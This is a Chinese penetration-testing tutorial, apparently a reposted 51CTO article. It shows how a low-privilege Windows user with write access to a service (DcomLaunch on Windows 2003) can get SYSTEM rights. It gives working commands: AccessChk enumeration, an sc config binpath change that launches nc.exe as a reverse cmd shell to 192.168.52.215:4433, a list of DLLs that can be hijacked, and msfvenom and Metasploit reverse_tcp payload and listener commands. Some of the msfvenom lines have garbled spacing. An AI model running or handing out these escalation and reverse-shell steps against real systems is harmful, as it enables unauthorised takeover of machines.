微软服务器提权,Windows低权限进程或服务提权

【51CTO.com原创稿件】在实际渗透过程中,有可能获取了该操作系统下的一个普通用户帐号权限,或者webshell权限,通过低权限用户进行越权,有可能获取系统权限;其利用原理主要是通过微软的AccessChk工具软件,配合sc来操作服务,通过服务的重启而得到权限。

一、AccessChk简介及使用

1. AccessChk简介

AccessChk是Sysinternals中的一个小工具,目前最新版本为6.1,新版本存在一些bug,在实际使用时会提示需要多个dll文件,在本案例中使用的是3.0版本,其官方网站下载地址:https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx

AccessChk主要用来检查用户和用户组对文件,目录,注册表项,全局对象和系统服务的权限详细情况,在实际配置过程中如果权限设置失误,则就可以被用来提权。

2. 使用AccessChk

命令行下第一次运行需要同意一个许可,如果不想出现那个提示窗口,则可以执行“accesschk.exe /accepteula”。其主要参数如下:

usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t]][-c]|[-d]] [[-l [-i]]|[username]]

这个命令分为三个部分accesschk是程序名;第一个参数有9个可选项[],部分可选项里还有可选参数;第二个参数是一个目标,这个目标可以是文件,目录,注册项,进程,服务,对象。

-a 名称是Windows帐户权限。指定“*”作为显示所有分配给用户的权限名称,只有指定用户名称或者组时才显示指派的权限。

-c 显示服务名称,“*”显示所有服务。

-d 仅处理目录或顶级键

-e 只显示显式设置完整性级别(Windows Vista和更高版本系统)

-f 显示包含组和特权的完整过程令牌信息

-k 注册表键值,例如 hklm\software

-i 在取消完全访问控制列表时忽略只继承继承符的对象

-l 显示全部访问控制列表。添加“-I”忽略继承ACEs

-n 仅显示没有访问权限的对象

-o 名称是对象管理器命名空间中的一个对象(默认是root)。查看一个目录的内容,用反斜线或-S-T和对象类型指定名称

-p 进程名或者PID,例如cmd.exe (使用 '*'显示所有的进程). 加“-f ”显示包括组和特权的所有进程令牌信息,加“-t”显示线程。

-q 省略标识

-r 显示对象只读属性

-s 递归

-t 对象类型筛选器

-u 抑制错误

-v 冗长(包括Windows Vista完整性级别)

-w 仅显示具有写访问的对象

(1)查看用户服务,查看管理员组、users组下所有服务:

accesschk administrators -c *

accesschk users -c *

如图1所示,可以对某个用户进行查看,主要用来提权用,例如查看simeon用户具备读写服务器权限:

accesschk simeon -c * | find "RW" 或者accesschk simeon -cw *

af389ba8a186aaccdfa0804e6010ead2.png

图1查看指定用户的服务权限

(2)查看用户组对系统服务具备写权限,如果有则会显示,否则会提示“No matching objects found”。

accesschk.exe -uwcqv "Authenticated Users" *

accesschk.exe -uwcqv "Administrators" *

accesschk.exe -uwcqv "Backup Operators" *

accesschk.exe -uwcqv "Distributed COM Users" *

accesschk.exe -uwcqv "Guests" *

accesschk.exe -uwcqv "HelpServicesGroup" *

accesschk.exe -uwcqv "IIS_WPG" *

accesschk.exe -uwcqv "Network Configuration Operators" *

accesschk.exe -uwcqv "Performance Monitor Users" *

accesschk.exe -uwcqv "Performance Log Users" *

accesschk.exe -uwcqv "Power Users" *

accesschk.exe -uwcqv "Print Operators" *

accesschk.exe -uwcqv "Remote Desktop Users" *

accesschk.exe -uwcqv "Replicator" *

accesschk.exe -uwcqv "TelnetClients" *

accesschk.exe -uwcqv "Users" *

二、获取低权限可操作服务名称

1. 实验环境

(1)本次实验环境为Windows 2003 Sever SP3,用户simeon属于power user组,可以登录系统。

(2)IP地址:192.168.52.175

(3)监听服务IP:192.168.52.215

(4)nc.exe复制到c:\windows\temp目录

2. 获取可读写的服务

执行命令以下命令获取Power Users组可以操作的服务名称信息,如图2所示。

accesschk.exe -uwcqv "Power Users" *

执行后显示结果如下:

RW DcomLaunch

SERVICE_QUERY_STATUS

SERVICE_QUERY_CONFIG

SERVICE_CHANGE_CONFIG

SERVICE_INTERROGATE

SERVICE_ENUMERATE_DEPENDENTS

READ_CONTROL

RW kdc

SERVICE_QUERY_STATUS

SERVICE_QUERY_CONFIG

SERVICE_CHANGE_CONFIG

SERVICE_INTERROGATE

SERVICE_ENUMERATE_DEPENDENTS

READ_CONTROL

3b2ffa0e2f44b6aa9b67f4cec4c7dff0.png

图2获取可读写的服务名称信息

3. 查询服务详细信息

服务名称为“DcomLaunch”、“kdc”可以被simeon用户进行操作。使用sc qc kdc命令查询kdc服务的详细信息,如图3所示,可以看到该服务是以系统权限运行的。

90f70019b835fe6dc93a0e0908b00c31.png

图3查询kdc服务详细信息

4 .决定使用那个服务

执行命令“net start”查看系统目前已经启动的服务,也可以使用以下命令直接获取。如图4所示,在启动服务列表中发现“DCOM Server Process Launcher”服务名称。

net start | find "DCOM Server Process Launcher"

net start | find "Kerberos Key Distribution Center"

b7bf02936cf9037796eb7cc5a29011de.png

图4获取服务名称

5. 获取服务名称对应的服务

使用命令“tasklist /svc”,如图5所示,获取“DCOM Server Process Launcher”服务名称所对应的服务“DcomLaunch”。

ecc970d5304e008a05de93cc2be1e28c.png

图5获取DcomLaunch服务信息

三、修改服务并获取系统权限

1. 修改服务参数binpath值

使用sc命令对服务进行修改:

sc config DcomLaunchbinpath="C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe"

如图6所示,执行命令后,显示修改服务配置成功,再次使用sc qc DcomLaunch,显示执行文件已经更改为:

C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe

查询服务:sc qc DcomLaunch

e4aafdec48e19047cfabbd8aefae6c53.png

图6修改服务binpath值

2. 启动服务

先执行 sc config DcomLaunch obj= ".\LocalSystem" password= "",然后通过命令下启动,使用“net start DcomLaunch”命令,也可以通过services.msc服务管理器重启该服务,如图7所示。

a98d0aacf1bc5f058375d52e35ae02bd.png

图7重新启动服务

3. 反弹获取服务器权限

如图8所示,在反弹服务器中192.168.52.215监听4433端口,成功获取来自192.168.52.175的反弹,且为系统权限。

abcdd869b1ec8c25f4a490b0aa455138.png

图8反弹获取系统权限

4. 总结

在Winxp、Windows 2003、Windows 7 (32/64)下有一些dll文件也可以被替换:

IKE and AuthIP IPsec Keying Modules (IKEEXT)    – wlbsctrl.dll

Windows Media Center Receiver Service (ehRecvr)    – ehETW.dll

Windows Media Center Scheduler Service (ehSched)  – ehETW.dll

Automatic Updates (wuauserv)    – ifsproxy.dll

Remote Desktop Help Session Manager (RDSessMgr)–SalemHook.dll

Remote Access Connection Manager (RasMan)   – ipbootp.dll

Windows Management Instrumentation (winmgmt)    – wbemcore.dll

Audio Service (STacSV)    – SFFXComm.dll SFCOM.DLL

Intel(R) Rapid Storage Technology (IAStorDataMgrSvc)  – DriverSim.dll

Juniper Unified Network Service(JuniperAccessService) – dsLogService.dll

(1)使用msf生成exe文件

Linux msf监听4433端口

./msfvenom -p windows/meterpreter/reverse_tcplhost=192.168.52.215lport=4433-f exe -o /tmp/my_payload.exe

windows下监听4433端口

./msfvenom -p windows/shel/reverse_tcplhost=192.168.52.215lport=4433-f exe -o /tmp/w.exe

其中平台参数(-p)可以设置为以下的一些,也可以使用msfvenom -l payload | grep 'reverse'进行查看和选择:

windows/shell/reverse_tcp

windows/x64/shell_reverse_tcp

windows/shell_reverse_tcp

windows/shell/reverse_tcp

(2)在msf上面执行

set payload windows/meterpreter/reverse_tcp

show options

set lhost 192.168.52.215

set lport 4433

run 0

(3)将生成的/tmp/my_payload.exe按照本文上面的方法执行后即可得到反弹的webshell

【51CTO原创稿件,合作站点转载请注明原文作者和出处为51CTO.com】

【编辑推荐】

【责任编辑:IT疯 TEL:(010)68476606】

点赞 0

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值